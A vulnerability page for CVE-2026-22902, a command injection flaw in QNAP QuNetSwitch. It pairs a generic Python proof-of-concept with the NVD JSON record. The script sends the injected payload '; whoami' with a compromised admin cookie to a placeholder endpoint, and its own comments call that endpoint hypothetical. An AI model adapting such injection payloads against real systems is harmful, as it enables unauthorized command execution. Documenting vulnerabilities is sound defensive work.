CVE-2026-22902

import requests # Target URL (Hypothetical endpoint based on vulnerability type) target_url = "http://target-ip:port/api/vulnerable_endpoint" # Attacker requires High Privileges (Admin) - PR:H # Assumes authentication cookie or header is obtained auth_cookies = { "admin_session_id": "compromised_admin_token" } # Malicious payload to inject command (e.g., 'whoami') # Using ';' or '&&' to chain commands in a Unix-like shell payload = "; whoami" data = { "vulnerable_param": payload } try: # Send POST request to exploit the vulnerability response = requests.post(target_url, cookies=auth_cookies, data=data) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Response from server:") print(response.text) else: print("[-] Failed to send payload.") except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-22902", "sourceIdentifier": "[email protected]", "published": "2026-03-20T17:16:44.783", "lastModified": "2026-03-25T20:50:13.897", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A command injection vulnerability has been reported to affect QuNetSwitch. If a local attacker gains an administrator account, they can then exploit the vulnerability to execute arbitrary commands.\n\nWe have already fixed the vulnerability in the following version:\nQuNetSwitch 2.0.5.0906 and later"}, {"lang": "es", "value": "Una vulnerabilidad de inyección de comandos ha sido reportada que afecta a QuNetSwitch. Si un atacante local obtiene una cuenta de administrador, puede entonces explotar la vulnerabilidad para ejecutar comandos arbitrarios.\n\nYa hemos corregido la vulnerabilidad en la siguiente versión:\nQuNetSwitch 2.0.5.0906 y posteriores"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:qnap:qunetswitch:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.0.5.0906", "matchCriteriaId": "D3420F6C-DB33-452A-B9B3-7673A9172172"}]}]}], "references": [{"url": "https://www.qnap.com/en/security-advisory/qsa-26-11", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}